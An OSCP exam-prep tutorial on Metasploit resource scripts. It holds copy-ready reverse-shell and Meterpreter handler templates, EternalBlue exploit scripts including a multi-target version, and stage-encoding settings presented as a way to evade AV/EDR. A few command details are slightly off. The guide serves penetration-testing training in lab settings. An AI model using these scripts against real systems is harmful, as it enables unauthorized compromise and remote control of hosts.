Resource Scripts
What Are Resource Scripts?
Resource scripts (also known as .rc files) are plain text files that contain a sequence of msfconsole commands. When executed, Metasploit reads and processes each line as if you had typed the commands manually into the console. This automation capability is one of the most powerful yet underappreciated features of the Metasploit Framework, especially in the context of the OSCP exam.
Why Resource Scripts Matter for OSCP
The OSCP exam is a 24-hour timed engagement where you must compromise multiple machines across a network. Every minute counts. Resource scripts directly address the biggest challenge exam candidates face: time management. Here’s why they’re critical:
-
Eliminate repetitive typing — Setting up a Meterpreter handler requires 5-7 commands. Doing this manually for each target wastes precious minutes. A resource script executes all of them instantly.
-
Reduce human error — Fatigue during a 24-hour exam leads to typos. A tested
.rcfile eliminates the risk of misspellingLHOSTor forgetting to setEnableStageEncoding. -
Parallel execution — Resource scripts can launch multiple exploits and handlers simultaneously with
exploit -j -z, allowing you to attack several targets at once instead of sequentially. -
Consistent workflow — By maintaining a library of pre-tested resource scripts, you create a repeatable, reliable attack workflow that works across all exam environments.
-
Background handlers — The
-j -zflags in resource scripts let handlers run in the background without locking your console, so you can continue attacking while waiting for callbacks.
How Resource Scripts Work
When you feed a resource script to Metasploit, it processes each line sequentially:
- Lines starting with
#are treated as comments and ignored - Blank lines are skipped
- All other lines are executed as
msfconsolecommands - The script runs synchronously by default (each command waits for the previous one to complete)
- The
exploit -j -zmodifier changes this behavior for parallel execution
Creating Resource Scripts
File Format and Syntax
Resource scripts are simple plain-text files with the .rc extension. They contain nothing more than msfconsole commands, one per line. No special formatting, no programming syntax — just the commands you would type into the Metasploit console.
# This is a comment - it will be ignored
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z
Comment Syntax
Use # to add comments. Comments are essential for maintaining readable scripts, especially when you have a library of multiple .rc files:
# ============================================================
# Handler: Windows x64 Meterpreter Reverse TCP
# Target: 10.10.14.x lab environment
# Port: 4444
# ============================================================
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z
Basic Structure of a Resource Script
Every resource script follows this general structure:
| Section | Purpose | Example |
|---|---|---|
| Header comments | Describe what the script does | # Handler for Win x64 |
| Module selection | Load the exploit or auxiliary module | use exploit/multi/handler |
| Option configuration | Set required parameters | set LHOST 10.10.14.5 |
| Execution | Run the module | exploit -j -z |
Example Templates
Minimal Handler Script (handler_win_x64.rc):
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z
Exploit Script (exploit_ms17_010.rc):
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Running Resource Scripts
There are two methods to execute resource scripts, depending on whether you’re starting fresh or already inside msfconsole.
Method 1: From the Command Line
Launch msfconsole and feed it the resource script directly:
msfconsole -r /path/to/script.rc
This is useful when you want to start Metasploit and immediately run a script. Multiple scripts can be chained:
msfconsole -r /path/to/handler.rc -r /path/to/exploit.rc
Method 2: From Within msfconsole
If you’re already inside the Metasploit console, use the resource command (or its shorthand r):
msf6 > resource /path/to/script.rc
# or
msf6 > r /path/to/script.rc
This is the more common approach during an engagement, as you can load handlers first and then run exploit scripts as you discover vulnerabilities.
Practical Example
# Start msfconsole with a handler already running
msfconsole -r ~/oscp-tools/handlers/win_x64_4444.rc
# Later, from within msfconsole:
msf6 > resource ~/oscp-tools/exploits/ms17_010_target1.rc
Handler Resource Script — The Most Important Template
The handler resource script is arguably the single most important resource script for OSCP. You will use it dozens of times during the exam. Every time you generate a reverse shell payload with msfvenom, you need a corresponding handler listening on your attack machine.
Complete Handler Template
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z
Line-by-Line Breakdown
| Line | Explanation |
|---|---|
use exploit/multi/handler |
Loads the multi/handler module, which is Metasploit’s universal payload listener. This module can receive connections from any payload type. |
set PAYLOAD windows/x64/meterpreter/reverse_tcp |
Specifies the exact payload the handler should expect. This MUST match the payload used when generating the reverse shell with msfvenom. Mismatched payloads will cause connection failures. |
set LHOST 10.10.14.5 |
Sets the Local Host (your attack machine’s IP). The target will connect back to this address. Replace with your actual T-Pot / Kali IP in the exam environment. |
set LPORT 4444 |
Sets the Local Port the handler will listen on. Must match the port specified in the msfvenom payload generation command. Common ports: 4444, 4445, 5555, 8080. |
set EnableStageEncoding true |
Critical for OSCP. Enables encoding of the staged payload. Many modern systems have AV/EDR that detect raw Meterpreter stagers. Encoding the stage helps bypass these detections. |
set StageEncoder x86/shikata_ga_nai |
Specifies the encoder algorithm for the stage. shikata_ga_nai (Japanese for “there can be no one way”) is a well-known polymorphic encoder that XOR-encodes the payload with a random key. |
set StageEncoderFallback true |
If the specified encoder fails, fall back to an alternative encoding method. This adds reliability to your handler setup. |
exploit -j -z |
Executes the handler. The -j flag jobs the exploit (runs it in the background). The -z flag zombies the job (prevents it from blocking the console even if it fails). Together, they let the handler run silently in the background while you continue working. |
Why -j -z Is Essential
The combination of -j and -z is what makes resource scripts truly powerful:
-j(job): Runs the exploit as a background job. Without this,exploitwould lock your console until the job completes or times out.-z(zero interact): Even if the job encounters an error, it won’t grab your console interaction. This prevents a failed handler from hijacking your terminal.
Without these flags, running a handler would block your msfconsole session, forcing you to open a second terminal window just to keep the handler alive while you work on other tasks.
Exploit Resource Script
While handlers are the most frequently used resource scripts, exploit scripts are equally valuable for automating the attack phase.
Template
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Line-by-Line Breakdown
| Line | Explanation |
|---|---|
use exploit/windows/smb/ms17_010_eternalblue |
Loads the EternalBlue exploit module targeting MS17-010, one of the most common vulnerabilities found in OSCP-style environments. |
set RHOSTS 10.10.10.10 |
Sets the Remote Host (target IP). Note the plural RHOSTS — this module supports multiple targets separated by spaces or commas. |
set LHOST 10.10.14.5 |
Your attack machine IP for the reverse connection. |
set PAYLOAD windows/x64/meterpreter/reverse_tcp |
The payload to deliver after successful exploitation. |
exploit |
Runs the exploit. Note: no -j -z here, because you typically want to see the exploit output and interact with the resulting session. |
When to Use -j -z on Exploits
Use -j -z on exploit modules when:
- You’re attacking multiple targets simultaneously
- The exploit is reliable and you don’t need to monitor its output closely
- You have a handler already listening to catch the callback
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10 10.10.10.11 10.10.10.12
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z
Multi-Target Resource Script
When you’ve identified multiple vulnerable machines, you can attack them all simultaneously using resource scripts with background job execution.
Template
# ============================================================
# Multi-Target Attack: MS17-010 EternalBlue
# Targets: 10.10.10.10, 10.10.10.11, 10.10.10.12
# ============================================================
# Handler for incoming connections
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
exploit -j -z
# Exploit all targets simultaneously
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10 10.10.10.11 10.10.10.12
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z
# Check jobs status
jobs
How It Works
- The handler starts first and begins listening on port 4444
- The exploit module targets all three IPs simultaneously
- As each target is compromised, it connects back to the handler
- All sessions appear in
sessions -lfor management
Managing Multiple Sessions
After launching a multi-target attack, use these commands to manage sessions:
sessions -l # List all active sessions
sessions -i 1 # Interact with session 1
sessions -u 2 # Upgrade session 2 to full Meterpreter
background # Background current session (or Ctrl+Z)
sessions -k 3 # Kill session 3
sessions -K # Kill all sessions
Combined Handler + Exploit Script
The most powerful pattern is combining a handler and an exploit in a single resource script. This ensures the handler is listening before the exploit fires, preventing missed callbacks.
Template
# ============================================================
# Combined: Handler + Exploit for Single Target
# Target: 10.10.10.50
# Vuln: MS17-010 EternalBlue
# ============================================================
# Step 1: Start the handler in background
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z
# Step 2: Run the exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.50
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Why Order Matters
The handler MUST be started before the exploit runs. If the exploit succeeds before the handler is listening, the target’s reverse connection attempt will fail, and you’ll lose the session. By placing the handler first with -j -z, it starts listening immediately in the background, then the exploit runs and triggers the callback.
OSCP Resource Script Templates
Below are ready-to-use templates for the most common scenarios. Copy these into .rc files, adjust the LHOST to your IP, and keep them in a dedicated directory for quick access during the exam.
Windows x64 Meterpreter Handler
File: handler_win_x64.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z
Windows x86 Meterpreter Handler
File: handler_win_x86.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4445
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z
Linux x64 Meterpreter Handler
File: handler_lin_x64.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4446
set EnableStageEncoding true
exploit -j -z
Linux x86 Meterpreter Handler
File: handler_lin_x86.rc
use exploit/multi/handler
set PAYLOAD linux/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4447
set EnableStageEncoding true
exploit -j -z
Windows x64 Reverse Shell Handler (Non-Meterpreter)
File: handler_win_x64_shell.rc
use exploit/multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4448
exploit -j -z
Linux x64 Reverse Shell Handler (Non-Meterpreter)
File: handler_lin_x64_shell.rc
use exploit/multi/handler
set PAYLOAD linux/x64/shell/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4449
exploit -j -z
Generic Exploit Template
File: exploit_template.rc
# ============================================================
# Generic Exploit Template
# Modify: module, RHOSTS, LHOST, PAYLOAD, LPORT
# ============================================================
use <exploit_module_path>
set RHOSTS <target_ip>
set LHOST <your_ip>
set PAYLOAD <payload_type>
set LPORT <port>
exploit
Template Reference Table
| File Name | Payload | Port | Use Case |
|---|---|---|---|
handler_win_x64.rc |
windows/x64/meterpreter/reverse_tcp |
4444 | 64-bit Windows targets |
handler_win_x86.rc |
windows/meterpreter/reverse_tcp |
4445 | 32-bit Windows targets |
handler_lin_x64.rc |
linux/x64/meterpreter/reverse_tcp |
4446 | 64-bit Linux targets |
handler_lin_x86.rc |
linux/meterpreter/reverse_tcp |
4447 | 32-bit Linux targets |
handler_win_x64_shell.rc |
windows/x64/shell/reverse_tcp |
4448 | Non-Meterpreter Windows shells |
handler_lin_x64_shell.rc |
linux/x64/shell/reverse_tcp |
4449 | Non-Meterpreter Linux shells |
Best Practices
1. Maintain a Resource Script Library
Create a dedicated directory structure for your .rc files:
~/oscp-tools/
├── handlers/
│ ├── handler_win_x64.rc
│ ├── handler_win_x86.rc
│ ├── handler_lin_x64.rc
│ ├── handler_lin_x86.rc
│ ├── handler_win_x64_shell.rc
│ └── handler_lin_x64_shell.rc
├── exploits/
│ ├── ms17_010.rc
│ ├── eternalblue_multi.rc
│ └── custom_exploits/
└── combined/
├── handler_plus_exploit.rc
└── multi_target.rc
2. Use setg for Global Options
The setg command sets global options that persist across all modules in the current msfconsole session. This eliminates repetition:
# Set global options once
setg LHOST 10.10.14.5
setg PAYLOAD windows/x64/meterpreter/reverse_tcp
setg EnableStageEncoding true
# Now every module inherits these values automatically
use exploit/multi/handler
set LPORT 4444
exploit -j -z
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
exploit
Global options are especially useful in combined scripts where the same LHOST and PAYLOAD apply to multiple modules.
3. Test Before the Exam
Never bring untested resource scripts into an exam. Practice your .rc files during lab time:
- Test each handler with a corresponding
msfvenompayload - Verify that
-j -zworks as expected - Confirm that multi-target scripts fire correctly
- Time how long it takes to load and execute each script
4. Port Management
Use a consistent port scheme to avoid conflicts:
| Port Range | Purpose |
|---|---|
| 4444-4449 | Primary Meterpreter handlers |
| 5555-5559 | Secondary Meterpreter handlers |
| 8080-8089 | Web-based payloads and HTTP listeners |
| 9090-9099 | Auxiliary modules and scanners |
5. Keep Scripts Simple and Focused
Each .rc file should have a single purpose:
- One handler per file
- One exploit per file (unless doing multi-target)
- Avoid complex logic — resource scripts are not programming languages
6. Document Your LHOST
Always comment the expected LHOST in each script. During the exam, you may work in different subnets and need to quickly verify the IP is correct.
Common Mistakes
1. Forgetting to Set LHOST
Symptom: Handler starts but never receives connections.
Cause: LHOST is not set, or set to the wrong IP address.
Fix: Always verify your attacker machine IP with ip a or ifconfig before running the script. Double-check the LHOST value in the .rc file matches your current interface.
# WRONG - hardcoded wrong IP
set LHOST 10.10.14.5
# RIGHT - verify first with `ip a`, then set correctly
set LHOST 10.10.14.25 # Your actual IP
2. Wrong Payload Architecture
Symptom: Handler receives a connection but the session immediately dies or shows as a “shell” instead of “meterpreter”.
Cause: The payload architecture in the handler doesn’t match the payload generated by msfvenom. Using windows/x64/meterpreter/reverse_tcp in the handler but generating a 32-bit payload with msfvenom.
Fix: Always match the payload type exactly:
| msfvenom Architecture | Handler PAYLOAD |
|---|---|
-a x86_64 -p windows/x64/meterpreter/reverse_tcp |
windows/x64/meterpreter/reverse_tcp |
-a x86 -p windows/meterpreter/reverse_tcp |
windows/meterpreter/reverse_tcp |
-a x86_64 -p linux/x64/meterpreter/reverse_tcp |
linux/x64/meterpreter/reverse_tcp |
-a x86 -p linux/meterpreter/reverse_tcp |
linux/meterpreter/reverse_tcp |
3. Not Using -j -z
Symptom: Handler locks the console, preventing you from running other commands.
Cause: Running exploit without the -j -z flags.
Fix: Always use exploit -j -z for handlers. For exploits where you want to see output, use plain exploit or exploit -j (without -z).
# WRONG - blocks the console
exploit
# RIGHT - runs in background
exploit -j -z
4. Port Conflicts
Symptom: Handler fails to start with a “Address already in use” error.
Cause: Another handler or process is already listening on the same port.
Fix: Use a different LPORT value, or kill the existing job first:
# Check existing jobs
jobs
# Kill a specific job
jobs -K <job_number>
# Kill all jobs
jobs -K
5. Handler Started After Exploit Fired
Symptom: Exploit runs successfully but no session is received.
Cause: The handler wasn’t listening when the target tried to connect back.
Fix: Always start the handler BEFORE running the exploit. In combined scripts, the handler section must come first:
# CORRECT ORDER
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z # Handler starts first
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit # Exploit runs second
6. Missing EnableStageEncoding
Symptom: Connection drops or is blocked by AV/EDR on the target.
Cause: The staged payload is sent in plaintext, triggering detection.
Fix: Always include EnableStageEncoding in Windows handler scripts:
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
Quick Reference: Resource Script Cheat Sheet
Loading Scripts
# From command line
msfconsole -r script.rc
# From within msfconsole
resource script.rc
r script.rc
Essential Commands Within Scripts
use <module> # Load a module
set <OPTION> <value> # Set an option
setg <OPTION> <value> # Set a global option
exploit # Run exploit (foreground)
exploit -j # Run exploit as background job
exploit -j -z # Run exploit as zombie job (non-blocking)
jobs # List background jobs
sessions -l # List active sessions
sessions -i <num> # Interact with session
Payload Quick Reference
| Platform | Architecture | Meterpreter Payload | Shell Payload |
|---|---|---|---|
| Windows | x64 | windows/x64/meterpreter/reverse_tcp |
windows/x64/shell/reverse_tcp |
| Windows | x86 | windows/meterpreter/reverse_tcp |
windows/shell/reverse_tcp |
| Linux | x64 | linux/x64/meterpreter/reverse_tcp |
linux/x64/shell/reverse_tcp |
| Linux | x86 | linux/meterpreter/reverse_tcp |
linux/shell/reverse_tcp |
Summary
Resource scripts are an essential tool for OSCP exam success. They transform repetitive, error-prone manual commands into reliable, instant-execution automation. By maintaining a well-organized library of .rc files covering handlers, exploits, and combined attack chains, you can:
- Save 10-30 minutes per target by eliminating manual handler setup
- Reduce errors caused by fatigue during the 24-hour exam window
- Attack multiple targets simultaneously with multi-target scripts
- Maintain consistency across all engagements with tested, proven templates
The investment of time to create and test these scripts during lab practice pays exponential dividends during the actual exam. Start building your resource script library today.